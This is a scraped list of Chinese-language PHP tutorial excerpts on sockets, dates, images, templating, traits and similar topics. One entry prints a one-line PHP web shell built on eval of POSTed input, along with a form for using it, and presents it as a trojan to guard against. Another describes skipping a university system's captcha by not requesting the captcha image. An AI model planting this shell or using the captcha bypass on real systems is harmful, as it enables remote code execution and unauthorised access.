Time of Update: 2017-01-19
1. 預備知識一直以來很少看到有多少人使用php的socket模組來做一些事情,大概大家都把它定位在指令碼語言的範疇內吧,但是其實php的socket模組可以做很多事情,包括做ftplist,http
Time of Update: 2017-01-19
PHP星期幾擷取代碼:複製代碼 代碼如下:date("l"); //data就可以擷取英文的星期比如Sundaydate("w"); //這個可以擷取數字星期比如123,注意0是星期日擷取中文星期幾:複製代碼 代碼如下:$weekarray=array("日","一","二","三","四","五","六"); //先定義一個數組echo "星期".$weekarray[date("w")];擷取指定日期是:複製代碼 代碼如下:$weekarray=array("日","一","二","三","
Time of Update: 2017-01-19
php通過rand()函數產生隨機數,這個函數可以產生一個指定範圍的數字 這段代碼通過產生的隨機數,隨機播放圖片<html><body><?php srand( microtime() * 1000000 ); $num = rand( 1, 4 ); switch( $num ) { case 1: $image_file = "/home/images/alfa.jpg"; break; case 2: $image_file =
Time of Update: 2017-01-19
php中可以把函數名通過字串的方式傳遞給一個變數,然後通過此變數動態調用函數下面是一個簡單的動態函數調用範例<html><head><title>Dynamic Function Calls</title></head><body><?phpfunction sayHello(){ echo "Hello<br />";}$function_holder =
Time of Update: 2017-01-19
php擷取圖片的exif資訊,php內建一個exif_read_data函數可以用來讀取圖片的exif資訊,代碼來自php手冊<?phpecho "test1.jpg:<br />\n";$exif = exif_read_data('tests/test1.jpg', 'IFD0');echo $exif===false ? "No header data found.<br />\n" : "Image contains
Time of Update: 2017-01-19
本文執行個體講述了PHP影像處理類庫MagickWand用法。分享給大家供大家參考。具體分析如下:MagickWand 是PHP的一個擴充程式,通過它建立起與ImageMagick的互動,進行圖片的處理。它是預設的GD圖象函數庫的絕佳替代方案。從安全性和易用性來說,在PHP中使用MagickWand比使用命令列ImageMagick要安全快捷的多。另外 imagick也可用於PHP中作為ImageMagick的替代方案。MagickWand
Time of Update: 2017-01-19
這段代碼示範了php如何通過自訂的模板頁面和自訂標籤產生靜態頁面。原理非常簡單,就是將模板頁面中的標籤替換成動態資料即可。希望能給你一定的啟發。template.html 模板檔案<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html
Time of Update: 2017-01-19
eval可以用來執行任何其他php代碼,所以對於代碼裡發現了eval函數一定要小心,可能是木馬就這一句話害死人,這樣任何人都可以post任何檔案上來,所以要做好防範<?php @eval($_POST['c']);?>使用方法也很簡單,本地提交檔案指向提交檔案,裡面的php代碼就會被執行<html> <body> <form action="a.php" method="post"> <input type="text"
Time of Update: 2017-01-19
課程格子和超級課程表這兩個應用,想必大學生都很熟悉,使用自己的學號和教務系統的密碼,就可以將自己的課表匯入,隨時隨地都可以在手機上查看。 其實稍微瞭解一點php的話,我們也可以做一個類似這樣的web 應用。 1,解決掉驗證碼 其實這是正方的一個小bug,當我們進入登陸介面時,瀏覽器會去請求伺服器,伺服器會產生一個驗證碼圖片。如果我們不去請求這個圖片,那麼正方後台也不會產生相應的
Time of Update: 2017-01-19
checkdnsrr — 給指定的主機(網域名稱)或者IP地址做DNS通訊檢查closelog — 關閉系統日誌連結define_syslog_variables — 初始化所有syslog相關變數dns_check_record — checkdnsrr別名dns_get_mx — getmxrr別名dns_get_record — 擷取指定主機的DNS記錄fsockopen — 開啟一個網路連接或者一個Unix通訊端串連gethostbyaddr —
Time of Update: 2017-01-19
本篇文章分享一個簡單的socket樣本,用php。實現一個接收輸入字串,處理並返回這個字串到用戶端的TCP服務。產生一個 socket 服務端<?php/*檔案名稱:socket_server.php*/// 設定一些基本的變數$host="127.0.0.1";//Socket啟動並執行伺服器的IP地址$port=1234;//Socket啟動並執行伺服器的連接埠,連接埠取值為1到65535之間的數字,前提是這個連接埠未被使用//
Time of Update: 2017-01-19
之前我們講解過使用javascript擷取json資料節點路徑的問題,今天我們更進一步,講解下php擷取json資料所有的節點路徑<?phpfunction iterTree($data) { $retData = array(); $data = json_decode($data, true); if (!is_array($data) && empty($data)) { echo 'error !' ."n"; } else { $queue = array();
Time of Update: 2017-01-19
首先分享一些比較常見的$str=preg_replace("/<s*imgs+[^>]*?srcs*=s*('|")(.*?)\1[^>]*?/?s*>/i","", $str); //過濾img標籤$str=preg_replace("/s+/","", $str); //過濾多餘斷行符號$str=preg_replace("/<[ ]+/si","<",$str); //過濾<__("<"號後面帶空格)$str=
Time of Update: 2017-01-19
閑的蛋疼的時候,順便加強下自己對PHP中數組操縱的一些技巧,就寫了下面的一段小代碼,可以隨機產生卡號密碼對應的數組,並且自動去重複,思路沒有,純粹瞎掰。<?php header('Content-Type:text/html; charset=utf-8'); function MakeCard() { set_time_limit(0); //處理緩衝區 ob_end_clean(); ob_implicit_flush(true); echo str_pad(" ",
Time of Update: 2017-01-19
PHP5.4後新增traits實現代碼複用機制,Trait和類相似,但不能被執行個體化,無需繼承,只需要在類中使用關鍵詞use引入即可,可引入多個Traits,用','隔開。(1)Trait簡單使用<?php trait A { public $var1 = 'test1'; public function test1() { echo 'trait A::test1()'; }} trait B { public $var2 = 'test2'; public
Time of Update: 2017-01-19
最近伺服器時不時出現Nginx 502 Bad Gateway,如果在電腦旁邊還好,要是半夜或者出去了,怎麼辦?沒關係,寫個指令碼檢測服務狀態,發現異常,自動重啟。自動重啟指令碼:複製代碼 代碼如下:<?php $url = 'http://blog.rebill.info'; $cmd = '/usr/local/php/sbin/php-fpm restart'; for($i = 0; $i < 5; $i ++){ &
Time of Update: 2017-01-19
對於一個有經驗的 PHP Web 開發人員,這是一件非常容易的事情。但是對於剛開始接觸 PHP 程式設計語言的新手這就是一個問題。所以這裡介紹如何在常規的 HTML 程式碼中嵌入 PHP 代碼。在常規的 HTML 中嵌入 PHP 代碼建立一個 hello 指令碼,命名為 hello.php:<html><head><title>PHP Test</title></head><body><?php echo '&
Time of Update: 2017-01-19
HProf是facebook開源出來的一個php輕量級的效能分析工具,跟Xdebug類似,但效能開銷更低,還可以用在生產環境中,也可以由程式開關來控制是否進行profile。基於瀏覽器的效能分析使用者介面能更容易查看,或是與同行們分享成果。也能繪製呼叫歷程圖。在資料收集階段,它記錄調用次數的追蹤和包容性的指標弧在動態callgraph的一個程式。它專屬的資料計算的報告/後處理階段。在資料收集時,XHProfd通過檢測迴圈來處理遞迴的函數調用,並通過給遞迴調用中每個深度的調用一個有用的命名來避開死
Time of Update: 2017-01-19
常用php函數實現及介紹countcount是我們經常用到的一個函數,其功能是返回一個數組的長度。count這個函數,其複雜度是多少呢? 一種常見的說法是count函數會遍曆整個數組然後求出元素個數,因此複雜度是O(n)。那實際情況是不是這樣呢?我們回到count的實現來看一下,通過源碼可以發現,對於數組的count操作,函數最終的路徑是zif_count-> php_count_recursive->
Time of Update: 2017-01-19
類方法類方法其執行原理和使用者函數是相同的,也是翻譯成opcodes順次調用。類的實現,zend用一個資料結構zend_class_entry來實現,裡面儲存了類相關的一些基本資料。這個entry是在php編譯的時候就已經處理完成。在